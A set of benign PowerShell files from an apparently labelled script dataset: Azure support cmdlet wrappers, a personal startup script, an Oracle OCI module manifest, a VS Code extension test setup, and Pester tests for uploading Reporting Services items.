'Az.Support.private\Invoke-AzSupportUploadFile_UploadViaIdentity'; UploadViaIdentityExpanded = 'Az.Support.private\Invoke-AzSupportUploadFile_UploadViaIdentityExpanded'; UploadViaIdentityFileWorkspace = 'Az.Support.private\Invoke-AzSupportUploadFile_UploadViaIdentityFileWorkspace'; UploadViaIdentityFileWorkspaceExpanded = 'Az.Support.private\Invoke-AzSupportUploadFile_UploadViaIdentityFileWorkspaceExpanded'; UploadViaJsonFilePath = 'Az.Support.private\Invoke-AzSupportUploadFile_UploadViaJsonFilePath'; UploadViaJsonString = 'Az.Support.private\Invoke-AzSupportUploadFile_UploadViaJsonString'; } if (('Upload', 'UploadExpanded', 'UploadViaJsonFilePath', 'UploadViaJsonString') -contains $parameterSet -and -not $PSBoundParameters.ContainsKey('SubscriptionId') ) { $testPlayback = $false $PSBoundParameters['HttpPipelinePrepend'] | Foreach-Object { if ($_) { $testPlayback = $testPlayback -or ('Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.PipelineMock' -eq $_.Target.GetType().FullName -and 'Playback' -eq $_.Target.Mode) } } if ($testPlayback) { $PSBoundParameters['SubscriptionId'] = . (Join-Path $PSScriptRoot '..' 'utils' 'Get-SubscriptionIdTestSafe.ps1') } else { $PSBoundParameters['SubscriptionId'] = (Get-AzContext).Subscription.Id } } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand(($mapping[$parameterSet]), [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters} $steppablePipeline = $scriptCmd.GetSteppablePipeline($MyInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } catch { throw } } process { try { $steppablePipeline.Process($_) } catch { throw } } end { try { $steppablePipeline.End() } catch { throw } } } <# .Synopsis Create a new file under a workspace. .Description Create a new file under a workspace. .Example {{ Add code here }} .Example {{ Add code here }} .Outputs Microsoft.Azure.PowerShell.Cmdlets.Support.Models.IFileDetails .Link https://learn.microsoft.com/powershell/module/az.support/new-azsupportfilesnosubscription #> function New-AzSupportFilesNoSubscription { [OutputType([Microsoft.Azure.PowerShell.Cmdlets.Support.Models.IFileDetails])] [CmdletBinding(DefaultParameterSetName='CreateExpanded', PositionalBinding=$false, SupportsShouldProcess, ConfirmImpact='Medium')] param( [Parameter(Mandatory)] [Alias('Name')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [System.String] # File name. ${FileName}, [Parameter(Mandatory)] [Alias('WorkspaceName')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [System.String] # File workspace name. ${FileWorkspaceName}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Body')] [System.Int32] # Size of each chunk. # The size of each chunk should be provided in bytes and must not exceed 2.5 megabytes (MB). ${ChunkSize}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Body')] [System.Int32] # Size of the file to be uploaded. # The file size must not exceed 5 MB and should be provided in bytes. ${FileSize}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Body')] [System.Int32] # Number of chunks to be uploaded. # The maximum number of allowed chunks is 2. ${NumberOfChunk}, [Parameter()] [Alias('AzureRMContext', 'AzureCredential')] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Azure')] [System.Management.Automation.PSObject] # The DefaultProfile parameter is not functional. # Use the SubscriptionId parameter when available if executing the cmdlet against a different subscription. ${DefaultProfile}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Wait for .NET debugger to attach ${Break}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be appended to the front of the pipeline ${HttpPipelineAppend}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be prepended to the front of the pipeline ${HttpPipelinePrepend}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Uri] # The URI for the proxy server to use ${Proxy}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.PSCredential] # Credentials for a proxy server to use for the remote call ${ProxyCredential}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Use the default credentials for the proxy ${ProxyUseDefaultCredentials} ) begin { try { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $parameterSet = $PSCmdlet.ParameterSetName $mapping = @{ CreateExpanded = 'Az.Support.private\New-AzSupportFilesNoSubscription_CreateExpanded'; } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand(($mapping[$parameterSet]), [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters} $steppablePipeline = $scriptCmd.GetSteppablePipeline($MyInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } catch { throw } } process { try { $steppablePipeline.Process($_) } catch { throw } } end { try { $steppablePipeline.End() } catch { throw } } } <# .Synopsis Create a new file under a workspace for the specified subscription. .Description Create a new file under a workspace for the specified subscription. .Example {{ Add code here }} .Example {{ Add code here }} .Outputs Microsoft.Azure.PowerShell.Cmdlets.Support.Models.IFileDetails .Link https://learn.microsoft.com/powershell/module/az.support/new-azsupportfile #> function New-AzSupportFile { [OutputType([Microsoft.Azure.PowerShell.Cmdlets.Support.Models.IFileDetails])] [CmdletBinding(DefaultParameterSetName='CreateExpanded', PositionalBinding=$false, SupportsShouldProcess, ConfirmImpact='Medium')] param( [Parameter(Mandatory)] [Alias('FileName')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [System.String] # File name. ${Name}, [Parameter(Mandatory)] [Alias('FileWorkspaceName')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [System.String] # File workspace name. ${WorkspaceName}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Path')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.DefaultInfo(Script='(Get-AzContext).Subscription.Id')] [System.String] # The ID of the target subscription. # The value must be an UUID. ${SubscriptionId}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Body')] [System.Int32] # Size of each chunk. # The size of each chunk should be provided in bytes and must not exceed 2.5 megabytes (MB). ${ChunkSize}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Body')] [System.Int32] # Size of the file to be uploaded. # The file size must not exceed 5 MB and should be provided in bytes. ${FileSize}, [Parameter()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Body')] [System.Int32] # Number of chunks to be uploaded. # The maximum number of allowed chunks is 2. ${NumberOfChunk}, [Parameter()] [Alias('AzureRMContext', 'AzureCredential')] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Azure')] [System.Management.Automation.PSObject] # The DefaultProfile parameter is not functional. # Use the SubscriptionId parameter when available if executing the cmdlet against a different subscription. ${DefaultProfile}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Wait for .NET debugger to attach ${Break}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be appended to the front of the pipeline ${HttpPipelineAppend}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.SendAsyncStep[]] # SendAsync Pipeline Steps to be prepended to the front of the pipeline ${HttpPipelinePrepend}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Uri] # The URI for the proxy server to use ${Proxy}, [Parameter(DontShow)] [ValidateNotNull()] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.PSCredential] # Credentials for a proxy server to use for the remote call ${ProxyCredential}, [Parameter(DontShow)] [Microsoft.Azure.PowerShell.Cmdlets.Support.Category('Runtime')] [System.Management.Automation.SwitchParameter] # Use the default credentials for the proxy ${ProxyUseDefaultCredentials} ) begin { try { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $parameterSet = $PSCmdlet.ParameterSetName $mapping = @{ CreateExpanded = 'Az.Support.private\New-AzSupportFile_CreateExpanded'; } if (('CreateExpanded') -contains $parameterSet -and -not $PSBoundParameters.ContainsKey('SubscriptionId') ) { $testPlayback = $false $PSBoundParameters['HttpPipelinePrepend'] | Foreach-Object { if ($_) { $testPlayback = $testPlayback -or ('Microsoft.Azure.PowerShell.Cmdlets.Support.Runtime.PipelineMock' -eq $_.Target.GetType().FullName -and 'Playback' -eq $_.Target.Mode) } } if ($testPlayback) { $PSBoundParameters['SubscriptionId'] = . (Join-Path $PSScriptRoot '..' 'utils' 'Get-SubscriptionIdTestSafe.ps1') } else { $PSBoundParameters['SubscriptionId'] = (Get-AzContext).Subscription.Id } } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand(($mapping[$parameterSet]), [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters} $steppablePipeline = $scriptCmd.GetSteppablePipeline($MyInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } catch { throw } } process { try { $steppablePipeline.Process($_) } catch { throw } } end { try { $steppablePipeline.End() } catch { throw } } } # SIG # Begin signature block # MIIoLQYJKoZIhvcNAQcCoIIoHjCCKBoCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCB5vinXLhbI2oCQ # UzrQ9KQrzUS9xjmVy0hYGdtjpNKzN6CCDXYwggX0MIID3KADAgECAhMzAAADrzBA # DkyjTQVBAAAAAAOvMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMRMwEQYD # VQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24xKDAmBgNVBAMTH01pY3Jvc29mdCBDb2RlIFNpZ25p # bmcgUENBIDIwMTEwHhcNMjMxMTE2MTkwOTAwWhcNMjQxMTE0MTkwOTAwWjB0MQsw # CQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9u # ZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMR4wHAYDVQQDExVNaWNy # b3NvZnQgQ29ycG9yYXRpb24wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB # AQDOS8s1ra6f0YGtg0OhEaQa/t3Q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wslOmfLiI4L # hGF0SEghZo1U1ZkVby7oeul8z05VfU7/aG3hnBb4P05La1oyOC4OLcWMSDFgnbT+ # 6yuYKRQWHhNbItHTkGcjViZhJkXHSrhLJA94OssOol2oWJsyYcyK09YhzIGkyGyj # B4q/oWv5OCFna2WA5hQJd2rlfRDPhDcFGwisRT6Migah1X51icIP5+JxzIq8Awcc # z7gZGvD2aqhYCWbC+fi0lcHBAucrbINIhGzucE0tXXMnwBiyFyrAF1JMs4mCTaxW # MAkjoWg1HFvH0CyaqZWhca46LFO3IBHvH4OoKekU1OBncQfNXM/Q+TOp1WUNgNss # hQiobM5yebipPRJGXzFi9NX9ClsBEAx3ABFooqUojbGmjgInVPBsbZCQ5QTGwtZn # j+HiDgJCvrFXmR8E1Neo7bk= # SIG # End signature block
combined_dataset/train/non-malicious/Windows Startup Script.ps1
Windows Startup Script.ps1
<#====================================================================================== File Name : Startup.ps1 Original Author : Kenneth C. Mazie : Description : This is a personal startup script with pop-up notification and : checks to assure things are not already running. : : There are 2 samples included, taskmanager and Firefox. Add as many : as required. : : To call the script use the following in a shortcut or in the RUN registry key. : "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -WindowStyle Hidden –Noninteractive -NoLogo -Command "&{C:\\Startup.ps1}" : Change the script name and path as needed to suit your environment. : : Be sure to enter the proper process name or errors will result. Use : "get-process" by itself to list running proces names that PowerShell : will be happy with, just make sure each app you want a name for is already : running first. : : A sleep delay is added to smooth out processing but can be removed if needed. : Notes : Sample script is safe to run as written. : Warnings : None. : : Last Update by : Kenneth C. Mazie (kcmjr) Version History : v1.0 - 05-03-12 - Original Change History : v1.1 - 00-00-00 - : =======================================================================================#> clear-host $Icon = [System.Drawing.SystemIcons]::Information $Notify = new-object system.windows.forms.notifyicon $Notify.icon = $Icon #--[ NOTE: Available tooltip icons are = warning, info, error, and none, specified in lines below following "tooltipicon" $Notify.visible = $true Function LoadApps { if((get-process "taskmgr" -ea SilentlyContinue) -eq $Null){start-process "C:\\Windows\\System32\\taskmgr.exe";$Notify.ShowBalloonTip(2500,"Custom Startup Script","Task Manager is loading",[system.windows.forms.tooltipicon]::Info)}else{$Notify.ShowBalloonTip(2500,"Custom Startup Script","Task Manager is already running",[system.windows.forms.tooltipicon]::Info) } sleep (2) if((get-process "firefox" -ea SilentlyContinue) -eq $Null){start-process "C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe";$Notify.ShowBalloonTip(2500,"Custom Startup Script","FireFox is loading",[system.windows.forms.tooltipicon]::Info)}else{$Notify.ShowBalloonTip(2500,"Custom Startup Script","Firefox Already Running",[system.windows.forms.tooltipicon]::Info) } sleep (2) } LoadApps
combined_dataset/train/non-malicious/sample_5_41.ps1
sample_5_41.ps1
# # Module manifest for module 'OCI.PSModules.Monitoring' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Monitoring.dll' # Version number of this module. ModuleVersion = '92.1.0' # Supported PSEditions CompatiblePSEditions = 'Core' # ID used to uniquely identify this module GUID = 'bb8a391d-e2cd-45ce-b0df-4636cbbb16a4' # Author of this module Author = 'Oracle Cloud Infrastructure' # Company or vendor of this module CompanyName = 'Oracle Corporation' # Copyright statement for this module Copyright = '(c) Oracle Cloud Infrastructure. All rights reserved.' # Description of the functionality provided by this module Description = 'This modules provides Cmdlets for OCI Monitoring Service' # Minimum version of the PowerShell engine required by this module PowerShellVersion = '6.0' # Name of the PowerShell host required by this module # PowerShellHostName = '' # Minimum version of the PowerShell host required by this module # PowerShellHostVersion = '' # Minimum version of Microsoft .NET Framework required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # DotNetFrameworkVersion = '' # Minimum version of the common language runtime (CLR) required by this module. This prerequisite is valid for the PowerShell Desktop edition only. # ClrVersion = '' # Processor architecture (None, X86, Amd64) required by this module # ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @(@{ModuleName = 'OCI.PSModules.Common'; GUID = 'b3061a0d-375b-4099-ae76-f92fb3cdcdae'; RequiredVersion = '92.1.0'; }) # Assemblies that must be loaded prior to importing this module RequiredAssemblies = 'assemblies/OCI.DotNetSDK.Monitoring.dll' # Script files (.ps1) that are run in the caller's environment prior to importing this module. # ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module # FormatsToProcess = @() # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() # Functions to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no functions to export. FunctionsToExport = '*' # Cmdlets to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no cmdlets to export. CmdletsToExport = 'Get-OCIMonitoringAlarm', 'Get-OCIMonitoringAlarmHistory', 'Get-OCIMonitoringAlarmsList', 'Get-OCIMonitoringAlarmsStatusList', 'Get-OCIMonitoringAlarmSuppression', 'Get-OCIMonitoringAlarmSuppressionsList', 'Get-OCIMonitoringMetricsList', 'Invoke-OCIMonitoringRetrieveDimensionStates', 'Invoke-OCIMonitoringSummarizeAlarmSuppressionHistory', 'Invoke-OCIMonitoringSummarizeMetricsData', 'Move-OCIMonitoringAlarmCompartment', 'New-OCIMonitoringAlarm', 'New-OCIMonitoringAlarmSuppression', 'Remove-OCIMonitoringAlarm', 'Remove-OCIMonitoringAlarmSuppression', 'Submit-OCIMonitoringMetricData', 'Update-OCIMonitoringAlarm' # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module, for best performance, do not use wildcards and do not delete the entry, use an empty array if there are no aliases to export. AliasesToExport = '*' # DSC resources to export from this module # DscResourcesToExport = @() # List of all modules packaged with this module # ModuleList = @() # List of all files packaged with this module # FileList = @() # Private data to pass to the module specified in RootModule/ModuleToProcess. This may also contain a PSData hashtable with additional module metadata used by PowerShell. PrivateData = @{ PSData = @{ # Tags applied to this module. These help with module discovery in online galleries. Tags = 'PSEdition_Core','Windows','Linux','macOS','Oracle','OCI','Cloud','OracleCloudInfrastructure','Monitoring' # A URL to the license for this module. LicenseUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/LICENSE.txt' # A URL to the main website for this project. ProjectUri = 'https://github.com/oracle/oci-powershell-modules/' # A URL to an icon representing this module. IconUri = 'https://github.com/oracle/oci-powershell-modules/blob/master/icon.png' # ReleaseNotes of this module ReleaseNotes = 'https://github.com/oracle/oci-powershell-modules/blob/master/CHANGELOG.md' # Prerelease string of this module # Prerelease = '' # Flag to indicate whether the module requires explicit user acceptance for install/update/save # RequireLicenseAcceptance = $false # External dependent modules of this module # ExternalModuleDependencies = @() } # End of PSData hashtable } # End of PrivateData hashtable # HelpInfo URI of this module # HelpInfoURI = '' # Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. # DefaultCommandPrefix = '' }
combined_dataset/train/non-malicious/sample_26_99.ps1
sample_26_99.ps1
# WARNING: this need to be set by the getExtVersion $env:TEST_EXTENSION_VERSION = "2.3.1" # get the local path $myPath = Split-Path -parent $MyInvocation.MyCommand.Path $env:TEST_LOCAL_PATH="$myPath" if (-not [Environment]::GetEnvironmentVariable('TEST_EXTENSIONS_PATH')) { $env:TEST_EXTENSIONS_PATH = $(Join-Path $PWD dotvscode) } if ($env:TEST_VSCODE_CLEANUP -Eq $true) { # cleanup Write-Output "Clearing dotvscode" # remove .vscode configuration files Remove-Item -Recurse -Force "$env:TEST_EXTENSIONS_PATH" # remove .apollox Remove-Item -Recurse -Force "$env:HOME/.apollox" } # remove out and recompiled it, this is useful for local tests if (Test-Path .\out) { Remove-Item -Recurse -Force .\out } # get test-resources # Performed on VSCode 1.83.1 as vscode-extension-tester fixed for VSCode 1.84 # has not been released yet npx extest get-vscode -c 1.83.1 npx extest get-chromedriver # install npx extest install-vsix -e "$env:TEST_EXTENSIONS_PATH" -f ./apollox-vscode-linux-x64-$env:TEST_EXTENSION_VERSION.vsix
combined_dataset/train/non-malicious/652.ps1
652.ps1
$reportPortalUri = if ($env:PesterPortalUrl -eq $null) { 'http://localhost/reports' } else { $env:PesterPortalUrl } $reportServerUri = if ($env:PesterServerUrl -eq $null) { 'http://localhost/reportserver' } else { $env:PesterServerUrl } function VerifyCatalogItemExists() { param( [Parameter(Mandatory = $True)] [string] $itemName, [Parameter(Mandatory = $True)] [string] $itemType, [Parameter(Mandatory = $True)] [string] $folderPath, [string] $reportServerUri ) $item = (Get-RsFolderContent -ReportServerUri $reportServerUri -RsFolder $folderPath) | Where-Object { $_.TypeName -eq $itemType -and $_.Name -eq $itemName } $item | Should Not BeNullOrEmpty } Describe "Write-RsRestCatalogItem" { $rsFolderPath = "" $localPath = (Get-Item -Path ".\").FullName + '\Tests\CatalogItems\testResources' BeforeEach { $folderName = 'SUT_WriteRsRestCatalogItem_' + [guid]::NewGuid() New-RsRestFolder -ReportPortalUri $reportPortalUri -RsFolder / -FolderName $folderName $rsFolderPath = '/' + $folderName } AfterEach { Remove-RsCatalogItem -ReportServerUri $reportServerUri -RsFolder $rsFolderPath -Confirm:$false } Context "ReportPortalUri parameter" { It "Should upload a local RDL file" { $itemPath = Join-Path -Path $localPath -ChildPath emptyReport.rdl Write-RsRestCatalogItem -ReportPortalUri $reportPortalUri -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'emptyReport' -itemType 'Report' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local RSDS file" { $itemPath = $localPath + '\SutWriteRsFolderContent_DataSource.rsds' Write-RsRestCatalogItem -ReportPortalUri $reportPortalUri -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'SutWriteRsFolderContent_DataSource' -itemType 'DataSource' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local RSD file" { $itemPath = $localPath + '\UnDataset.rsd' Write-RsRestCatalogItem -ReportPortalUri $reportPortalUri -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'UnDataset' -itemType 'DataSet' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local RSMOBILE file" { $itemPath = $localPath + '\SimpleMobileReport.rsmobile' Write-RsRestCatalogItem -ReportPortalUri $reportPortalUri -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'SimpleMobileReport' -itemType 'MobileReport' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local PBIX file" { $itemPath = $localPath + '\SimplePowerBIReport.pbix' Write-RsRestCatalogItem -ReportPortalUri $reportPortalUri -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'SimplePowerBIReport' -itemType 'PowerBIReport' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local XLS file" { $itemPath = $localPath + '\OldExcelWorkbook.xls' Write-RsRestCatalogItem -ReportPortalUri $reportPortalUri -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'OldExcelWorkbook.xls' -itemType 'ExcelWorkbook' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local XLSX file" { $itemPath = $localPath + '\NewExcelWorkbook.xlsx' Write-RsRestCatalogItem -ReportPortalUri $reportPortalUri -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'NewExcelWorkbook.xlsx' -itemType 'ExcelWorkbook' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local TXT file" { $itemPath = $localPath + '\emptyFile.txt' Write-RsRestCatalogItem -ReportPortalUri $reportPortalUri -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'emptyFile.txt' -itemType 'Resource' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local KPI file" { $itemPath = $localPath + '\NewKPI.kpi' Write-RsRestCatalogItem -ReportPortalUri $reportPortalUri -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'NewKPI' -itemType 'Kpi' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should overwrite a file when -Overwrite is specified" { $itemPath = Join-Path -Path $localPath -ChildPath emptyReport.rdl Write-RsRestCatalogItem -ReportPortalUri $reportPortalUri -Path $itemPath -RsFolder $rsFolderPath Write-RsRestCatalogItem -ReportPortalUri $reportPortalUri -Path $itemPath -RsFolder $rsFolderPath -Overwrite -Verbose VerifyCatalogItemExists -itemName 'emptyReport' -itemType 'Report' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should not overwrite a file without -Overwrite parameter" { $itemPath = Join-Path -Path $localPath -ChildPath emptyReport.rdl Write-RsRestCatalogItem -ReportPortalUri $reportPortalUri -Path $itemPath -RsFolder $rsFolderPath { Write-RsRestCatalogItem -ReportPortalUri $reportPortalUri -Path $itemPath -RsFolder $rsFolderPath -Verbose } | Should Throw } It "Should upload a local JPG file" { $itemPath = $localPath + '\imagesResources\PowerShellHero.jpg' Write-RsRestCatalogItem -ReportPortalUri $reportPortalUri -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'PowerShellHero.jpg' -itemType 'Resource' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local PNG file" { $itemPath = $localPath + '\imagesResources\SSRS.png' Write-RsRestCatalogItem -ReportPortalUri $reportPortalUri -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'SSRS.png' -itemType 'Resource' -folderPath $rsFolderPath -reportServerUri $reportServerUri } } Context "WebSession parameter" { $webSession = New-RsRestSession -ReportPortalUri $reportPortalUri It "Should upload a local RDL file" { $itemPath = Join-Path -Path $localPath -ChildPath emptyReport.rdl Write-RsRestCatalogItem -WebSession $webSession -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'emptyReport' -itemType 'Report' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local RSDS file" { $itemPath = $localPath + '\SutWriteRsFolderContent_DataSource.rsds' Write-RsRestCatalogItem -WebSession $webSession -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'SutWriteRsFolderContent_DataSource' -itemType 'DataSource' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local RSD file" { $itemPath = $localPath + '\UnDataset.rsd' Write-RsRestCatalogItem -WebSession $webSession -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'UnDataset' -itemType 'DataSet' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local RSMOBILE file" { $itemPath = $localPath + '\SimpleMobileReport.rsmobile' Write-RsRestCatalogItem -WebSession $webSession -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'SimpleMobileReport' -itemType 'MobileReport' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local PBIX file" { $itemPath = $localPath + '\SimplePowerBIReport.pbix' Write-RsRestCatalogItem -WebSession $webSession -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'SimplePowerBIReport' -itemType 'PowerBIReport' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local XLS file" { $itemPath = $localPath + '\OldExcelWorkbook.xls' Write-RsRestCatalogItem -WebSession $webSession -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'OldExcelWorkbook.xls' -itemType 'ExcelWorkbook' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local XLSX file" { $itemPath = $localPath + '\NewExcelWorkbook.xlsx' Write-RsRestCatalogItem -WebSession $webSession -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'NewExcelWorkbook.xlsx' -itemType 'ExcelWorkbook' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local TXT file" { $itemPath = $localPath + '\emptyFile.txt' Write-RsRestCatalogItem -WebSession $webSession -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'emptyFile.txt' -itemType 'Resource' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local KPI file" { $itemPath = $localPath + '\NewKPI.kpi' Write-RsRestCatalogItem -WebSession $webSession -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'NewKPI' -itemType 'Kpi' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local JPG file" { $itemPath = $localPath + '\imagesResources\PowerShellHero.jpg' Write-RsRestCatalogItem -WebSession $webSession -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'PowerShellHero.jpg' -itemType 'Resource' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should upload a local PNG file" { $itemPath = $localPath + '\imagesResources\SSRS.png' Write-RsRestCatalogItem -WebSession $webSession -Path $itemPath -RsFolder $rsFolderPath -Verbose VerifyCatalogItemExists -itemName 'SSRS.png' -itemType 'Resource' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should overwrite a file when -Overwrite is specified" { $itemPath = Join-Path -Path $localPath -ChildPath emptyReport.rdl Write-RsRestCatalogItem -WebSession $webSession -Path $itemPath -RsFolder $rsFolderPath Write-RsRestCatalogItem -WebSession $webSession -Path $itemPath -RsFolder $rsFolderPath -Overwrite -Verbose VerifyCatalogItemExists -itemName 'emptyReport' -itemType 'Report' -folderPath $rsFolderPath -reportServerUri $reportServerUri } It "Should not overwrite a file without -Overwrite parameter" { $itemPath = Join-Path -Path $localPath -ChildPath emptyReport.rdl Write-RsRestCatalogItem -WebSession $webSession -Path $itemPath -RsFolder $rsFolderPath { Write-RsRestCatalogItem -WebSession $webSession -Path $itemPath -RsFolder $rsFolderPath -Verbose } | Should Throw } } }
combined_dataset/train/non-malicious/sample_2_13.ps1
sample_2_13.ps1
